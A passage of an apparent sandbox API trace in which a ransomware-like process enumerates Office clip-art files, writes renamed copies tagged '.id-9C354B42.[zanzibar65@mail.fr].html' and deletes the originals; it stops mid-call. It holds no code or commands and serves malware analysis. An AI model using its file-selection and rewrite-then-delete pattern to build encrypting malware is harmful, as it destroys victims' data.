lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.215] lstrlenW (lpString=".docx") returned 5 [0273.215] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.215] lstrlenW (lpString=".pdf") returned 4 [0273.215] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.215] lstrlenW (lpString=".xls") returned 4 [0273.215] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.215] lstrlenW (lpString=".xlsx") returned 5 [0273.215] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.215] lstrlenW (lpString=".ppt") returned 4 [0273.215] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0273.215] lstrlenW (lpString=".zip") returned 4 [0273.215] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.215] lstrlenW (lpString=".rar") returned 4 [0273.215] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.215] lstrlenW (lpString=".bz2") returned 4 [0273.215] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.216] lstrlenW (lpString=".7z") returned 3 [0273.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0273.216] lstrlenW (lpString=".dbf") returned 4 [0273.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0273.216] lstrlenW (lpString=".1cd") returned 4 [0273.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0273.216] lstrlenW (lpString=".jpg") returned 4 [0273.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0273.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0273.216] lstrlenW (lpString=".doc") returned 4 [0273.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.216] lstrlenW (lpString=".docx") returned 5 [0273.216] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.216] lstrlenW (lpString=".pdf") returned 4 [0273.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.216] lstrlenW (lpString=".xls") returned 4 [0273.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.216] lstrlenW (lpString=".xlsx") returned 5 [0273.216] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.216] lstrlenW (lpString=".ppt") returned 4 [0273.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0273.216] lstrlenW (lpString=".zip") returned 4 [0273.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.216] lstrlenW (lpString=".rar") returned 4 [0273.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.216] lstrlenW (lpString=".bz2") returned 4 [0273.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.217] lstrlenW (lpString=".7z") returned 3 [0273.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0273.217] lstrlenW (lpString=".dbf") returned 4 [0273.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0273.217] lstrlenW (lpString=".1cd") returned 4 [0273.217] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0273.217] lstrlenW (lpString=".jpg") returned 4 [0273.217] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.217] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.217] lstrlenW (lpString="FD00544_.WMF") returned 12 [0273.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.218] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=5260) returned 1 [0273.218] CloseHandle (hObject=0x38c) returned 1 [0273.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x20 [0273.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.218] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.219] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0273.222] GetLastError () returned 0x0 [0273.222] ReadFile (in: hFile=0x38c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x148c, lpOverlapped=0x0) returned 1 [0273.223] WriteFile (in: hFile=0x354, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x1490, lpOverlapped=0x0) returned 1 [0273.224] ReadFile (in: hFile=0x38c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.224] WriteFile (in: hFile=0x354, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.225] SetEndOfFile (hFile=0x354) returned 1 [0273.225] CloseHandle (hObject=0x354) returned 1 [0273.225] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.225] SetEndOfFile (hFile=0x38c) returned 1 [0273.226] CloseHandle (hObject=0x38c) returned 1 [0273.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf")) returned 1 [0273.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0273.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0273.227] lstrlenW (lpString=".doc") returned 4 [0273.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.227] lstrlenW (lpString=".docx") returned 5 [0273.227] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.227] lstrlenW (lpString=".pdf") returned 4 [0273.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.227] lstrlenW (lpString=".xls") returned 4 [0273.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.227] lstrlenW (lpString=".xlsx") returned 5 [0273.227] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.227] lstrlenW (lpString=".ppt") returned 4 [0273.227] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0273.227] lstrlenW (lpString=".zip") returned 4 [0273.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.228] lstrlenW (lpString=".rar") returned 4 [0273.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.228] lstrlenW (lpString=".bz2") returned 4 [0273.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.228] lstrlenW (lpString=".7z") returned 3 [0273.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0273.228] lstrlenW (lpString=".dbf") returned 4 [0273.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0273.228] lstrlenW (lpString=".1cd") returned 4 [0273.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0273.228] lstrlenW (lpString=".jpg") returned 4 [0273.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0273.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0273.228] lstrlenW (lpString=".doc") returned 4 [0273.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.228] lstrlenW (lpString=".docx") returned 5 [0273.228] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.228] lstrlenW (lpString=".pdf") returned 4 [0273.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.228] lstrlenW (lpString=".xls") returned 4 [0273.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.228] lstrlenW (lpString=".xlsx") returned 5 [0273.228] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.228] lstrlenW (lpString=".ppt") returned 4 [0273.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0273.228] lstrlenW (lpString=".zip") returned 4 [0273.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.229] lstrlenW (lpString=".rar") returned 4 [0273.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.229] lstrlenW (lpString=".bz2") returned 4 [0273.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.229] lstrlenW (lpString=".7z") returned 3 [0273.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0273.229] lstrlenW (lpString=".dbf") returned 4 [0273.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0273.229] lstrlenW (lpString=".1cd") returned 4 [0273.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0273.427] lstrlenW (lpString=".jpg") returned 4 [0273.427] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.427] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.427] lstrlenW (lpString="FD01176_.WMF") returned 12 [0273.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.464] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=4984) returned 1 [0273.464] CloseHandle (hObject=0x38c) returned 1 [0273.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x20 [0273.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0273.577] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.577] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0273.581] GetLastError () returned 0x0 [0273.581] ReadFile (in: hFile=0x380, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x1378, lpOverlapped=0x0) returned 1 [0273.583] WriteFile (in: hFile=0x39c, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0273.584] ReadFile (in: hFile=0x380, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.584] WriteFile (in: hFile=0x39c, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.584] SetEndOfFile (hFile=0x39c) returned 1 [0273.584] CloseHandle (hObject=0x39c) returned 1 [0273.584] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.584] SetEndOfFile (hFile=0x380) returned 1 [0273.645] CloseHandle (hObject=0x380) returned 1 [0273.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf")) returned 1 [0273.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0273.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0273.648] lstrlenW (lpString=".doc") returned 4 [0273.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.648] lstrlenW (lpString=".docx") returned 5 [0273.648] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.648] lstrlenW (lpString=".pdf") returned 4 [0273.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.648] lstrlenW (lpString=".xls") returned 4 [0273.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.648] lstrlenW (lpString=".xlsx") returned 5 [0273.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.648] lstrlenW (lpString=".ppt") returned 4 [0273.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0273.648] lstrlenW (lpString=".zip") returned 4 [0273.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.648] lstrlenW (lpString=".rar") returned 4 [0273.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.648] lstrlenW (lpString=".bz2") returned 4 [0273.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.648] lstrlenW (lpString=".7z") returned 3 [0273.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0273.649] lstrlenW (lpString=".dbf") returned 4 [0273.649] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0273.649] lstrlenW (lpString=".1cd") returned 4 [0273.649] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0273.649] lstrlenW (lpString=".jpg") returned 4 [0273.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0273.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0273.649] lstrlenW (lpString=".doc") returned 4 [0273.649] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.649] lstrlenW (lpString=".docx") returned 5 [0273.649] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.649] lstrlenW (lpString=".pdf") returned 4 [0273.649] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.649] lstrlenW (lpString=".xls") returned 4 [0273.649] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.649] lstrlenW (lpString=".xlsx") returned 5 [0273.649] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.649] lstrlenW (lpString=".ppt") returned 4 [0273.649] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0273.649] lstrlenW (lpString=".zip") returned 4 [0273.649] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.649] lstrlenW (lpString=".rar") returned 4 [0273.649] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.649] lstrlenW (lpString=".bz2") returned 4 [0273.649] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.649] lstrlenW (lpString=".7z") returned 3 [0273.649] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0273.649] lstrlenW (lpString=".dbf") returned 4 [0273.650] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0273.650] lstrlenW (lpString=".1cd") returned 4 [0273.650] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0273.650] lstrlenW (lpString=".jpg") returned 4 [0273.650] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.650] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.650] lstrlenW (lpString="FD01660_.WMF") returned 12 [0273.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0273.650] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=12958) returned 1 [0273.650] CloseHandle (hObject=0x380) returned 1 [0273.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x20 [0273.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0273.651] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.651] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0273.651] GetLastError () returned 0x0 [0273.651] ReadFile (in: hFile=0x380, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x329e, lpOverlapped=0x0) returned 1 [0273.656] WriteFile (in: hFile=0x2f0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x32a0, lpOverlapped=0x0) returned 1 [0273.657] ReadFile (in: hFile=0x380, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.658] WriteFile (in: hFile=0x2f0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.658] SetEndOfFile (hFile=0x2f0) returned 1 [0273.658] CloseHandle (hObject=0x2f0) returned 1 [0273.658] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.658] SetEndOfFile (hFile=0x380) returned 1 [0273.660] CloseHandle (hObject=0x380) returned 1 [0273.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf")) returned 1 [0273.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0273.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0273.661] lstrlenW (lpString=".doc") returned 4 [0273.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.661] lstrlenW (lpString=".docx") returned 5 [0273.661] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.661] lstrlenW (lpString=".pdf") returned 4 [0273.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.661] lstrlenW (lpString=".xls") returned 4 [0273.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.662] lstrlenW (lpString=".xlsx") returned 5 [0273.662] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.662] lstrlenW (lpString=".ppt") returned 4 [0273.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0273.662] lstrlenW (lpString=".zip") returned 4 [0273.662] lstrcmpiW (lpString1=".zip", 